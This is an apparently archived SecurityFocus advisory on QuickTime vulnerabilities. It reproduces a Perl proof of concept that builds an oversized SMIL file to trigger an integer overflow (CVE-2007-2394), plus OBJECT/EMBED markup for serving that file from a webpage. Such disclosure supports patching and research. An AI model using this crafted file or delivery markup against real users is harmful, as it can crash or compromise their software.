source: http://www.securityfocus.com/bid/24873/info

Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities.

Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites.

Successful exploits may allow attackers to execute arbitrary code in the context of a user running the vulnerable application or to obtain sensitive information. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks. 

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ATTACK VECTORS
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This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:

<OBJECT
  CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
  CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"
  WIDTH="10" HEIGHT="10" >
  <!-- malicious SMIL file -->
  <PARAM NAME="src" VALUE="poc.smil" />
  <EMBED
    <!-- available .qtif or .mov file to start up QT for FF -->
    SRC="available-sample.qtif"
    <!-- malicious SMIL file -->
    QTSRC="poc.smil"
    WIDTH="10" HEIGHT="10"
    PLUGINSPAGE=" www.apple.com/quicktime/download"
    TYPE="video/quicktime"
  />
</OBJECT>

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PROOF OF CONCEPT
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#!/usr/bin/perl -w

####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes <d.vaartjes at gmail.com>
####

$file = " poc.smil";
$padd = "x";
$cop_len = 36;

####
# By choosing the following lengths the
# integer overflow will be triggered.
####

$tit_len = 223;
$auth_len = 65280;

open(FH,">$file") or die "Can't open file:$!";

print FH
 "<smil>\n".
 "<head>\n".
 " <meta name=\"title\" content=\"".$padd x $tit_len."\"/>\n".
 " <meta name=\"author\" content=\"".$padd x $auth_len."\"/>\n".
 " <meta name=\"copyright\" content=\"".$padd x $cop_len."\"/>\n".
 "</head>\n".
 "</smil>";

close(FH);